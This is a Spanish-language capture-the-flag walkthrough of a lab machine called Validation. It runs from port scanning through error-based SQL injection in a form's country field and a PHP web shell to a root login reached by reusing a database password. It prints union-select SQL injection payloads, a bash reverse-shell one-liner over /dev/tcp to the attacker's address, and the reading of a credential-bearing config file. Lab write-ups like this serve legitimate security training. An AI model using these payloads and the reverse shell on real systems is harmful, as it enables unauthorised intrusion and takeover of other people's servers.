Validation
Skills
- SQLI (Error Based)
- SQLI -> RCE (INTO OUTFILE)
- Information Leakage
Certificaciones
- eJPT
- eWPT
Descripción
Validarion
es una máquina easy linux
donde estaremos vulnerando la máquina a través de una sql injection into outfile
encontrada en su página web, obtendremos acceso
a la máquina víctima
mediante la creación de un archivo .php
que nos permitirá ejecución de comandos
, escalaremos privilegios debido a información privilegiada encontrada en un archivo de configuración
Reconocimiento
Se comprueba que la máquina
está activa
y se determina su sistema operativo
, el ttl
de las máquinas linux
suele ser 64
, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
# ping 10.129.95.235
PING 10.129.95.235 (10.129.95.235) 56(84) bytes of data.
64 bytes from 10.129.95.235: icmp_seq=1 ttl=63 time=58.1 ms
^C
--- 10.129.95.235 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 58.104/58.104/58.104/0.000 ms
Nmap
Se va a realizar un escaneo de todos los puertos
abiertos en el protocolo TCP
a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.95.235 -oG openPorts
[sudo] password for justice-reaper:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-02 11:51 CEST
Initiating SYN Stealth Scan at 11:51
Scanning 10.129.95.235 [65535 ports]
Discovered open port 8080/tcp on 10.129.95.235
Discovered open port 22/tcp on 10.129.95.235
Discovered open port 80/tcp on 10.129.95.235
Discovered open port 4566/tcp on 10.129.95.235
Completed SYN Stealth Scan at 11:52, 13.45s elapsed (65535 total ports)
Nmap scan report for 10.129.95.235
Host is up (0.15s latency).
Not shown: 65522 closed tcp ports (reset), 9 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
4566/tcp open kwtc
8080/tcp open http-proxy
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.57 seconds
Raw packets sent: 65966 (2.903MB) | Rcvd: 65990 (2.640MB)
Se procede a realizar un análisis de detección
de servicios
y la identificación
de versiones
utilizando los puertos abiertos encontrados
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# nmap -sCV -p22,80,4566,8080 10.129.95.235 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-02 11:53 CEST
Nmap scan report for 10.129.95.235
Host is up (0.087s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
| 256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_ 256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp open http Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
4566/tcp open http nginx
|_http-title: 403 Forbidden
8080/tcp open http nginx
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.22 seconds
Web Enumeration
Nos dirigimos a la página web y se visualiza lo siguiente:
Cuando añadimos
un username
vemos esto en la ruta /contact.php
He testeado una inyección sql
en la parte del username pero no ha dado resultado, sin embargo, al probarla en la parte del country
si que nos ha devuelto
un error
, por lo tanto estamos antes una sql injection error based
Ahora vemos que no se ve el error
1
# username=test&country=Brazil'
Nos encontramos ante una
sola columna
, debido a que si hacemos un order by 2 nos da error
1
# username=test&country=Brazil' order by 1-- -
Identificamos
la versión
y el tipo base de datos
a la que nos enfrentamos
1
# username=test&country=Brazil' union select version()-- -
Vemos la base de datos
sobre la que estamos realizando la inyección, es decir la que se está utilizando
1
# username=test&country=Brazil' union select database()-- -
Listamos
todas las bases de datos
1
# username=test&country=Brazil' union select schema_name from information_schema.schemata-- -
Listamos
el nombre de todas las tablas
que pertenecen a la base de datos registration
1
# username=test&country=Brazil' union select table_name from information_schema.tables where table_schema='registration'-- -
Listamos
todas las columnas
para la base de datos registration y la tabla registration
1
# username=test&country=Brazil' union select column_name from information_schema.columns where table_schema='registration'-- -
Comprobamos si hay algo interesante en las tablas username
y userhash
, pero no encontramos nada
Usando wfuzz
hemos encontrado la ruta /config.php
, si conseguimos ganar acceso a la máquina víctima quizá en este archivo exista información interesante
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# wfuzz -c -t100 --hc 404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.129.95.235/FUZZ.php
/home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning:urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.95.235/FUZZ.php
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 268 L 747 W 16088 Ch "# directory-list-2.3-medium.txt"
000000003: 200 268 L 747 W 16088 Ch "# Copyright 2007 James Fisher"
000000007: 200 268 L 747 W 16088 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
000000013: 200 268 L 747 W 16088 Ch "#"
000000015: 200 268 L 747 W 16088 Ch "index"
000000012: 200 268 L 747 W 16088 Ch "# on at least 2 different hosts"
000000011: 200 268 L 747 W 16088 Ch "# Priority ordered case-sensitive list, where entries were found"
000000010: 200 268 L 747 W 16088 Ch "#"
000000006: 200 268 L 747 W 16088 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this"
000000009: 200 268 L 747 W 16088 Ch "# Suite 300, San Francisco, California, 94105, USA."
000000008: 200 268 L 747 W 16088 Ch "# or send a letter to Creative Commons, 171 Second Street,"
000000004: 200 268 L 747 W 16088 Ch "#"
000000005: 200 268 L 747 W 16088 Ch "# This work is licensed under the Creative Commons"
000000349: 200 0 L 2 W 16 Ch "account"
000000002: 200 268 L 747 W 16088 Ch "#"
000001490: 200 0 L 0 W 0 Ch "config"
Total time: 216.6545
Processed Requests: 220560
Filtered Requests: 220544
Requests/sec.: 1018.026
Intrusión
Al acceder a la ruta /config.php
no vemos nada porque el código
php está siendo interpretado
, sin embargo, podemos ver si a través de la inyección sql tenemos permisos
de escritura
, si es así podremos inyectar código php
en algún archivo de esa ruta y ganar acceso a la máquina víctima
Efectivamente ha funcionado, al acceder a http://10.129.250.24/shell.php?cmd=whoami
comprobamos que tenemos ejecución de comandos
Por lo tanto vamos a mandarnos una reverse shell
a nuestro equipo, lo primero es ponernos en escucha mediante netcat
por el puerto 443
1
# nc -nlvp 443
Nos mandamos una reverse shell
a nuestro equipo
1
# http://10.129.250.24/shell.php?cmd=bash -c "bash -i >%26 /dev/tcp/10.10.16.15/443 0>%261"
Una vez en la máquina víctima vamos a realizar un tratamiento
a la TTY
1
2
3
4
5
# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.15] from (UNKNOWN) [10.129.250.24] 43028
sh: 0: can't access tty; job control turned off
$
Obtenemos las dimensiones
de nuestra pantalla
1
2
# stty size
45 183
Efectuamos el tratamiento
a la TTY
1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]
Ya tenemos un consola
completamente interactiva
1
2
www-data@validation:/var/www/html$ whoami
www-data
Privilege Escalation
Lo siguiente que hacemos es inspeccionar
el config.php
que hemos encontrado y encontramos las credenciales
del usuario
uhc a la base de datos
1
2
3
4
5
6
7
8
9
www-data@validation:/var/www/html$ cat config.php
<?php
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-9qual-global-pw";
$dbname = "registration";
$conn = new mysqli($servername, $username, $password, $dbname);
?>
Al inspeccionar el /etc/passwd
nos damos cuenta que el único usuario que hay posible es root, así que probamos la contraseña uhc-9qual-global-pw
para convertirnos en usuario root
y funciona
1
2
3
4
www-data@validation:/var/www/html$ su root
Password:
root@validation:/var/www/html# whoami
root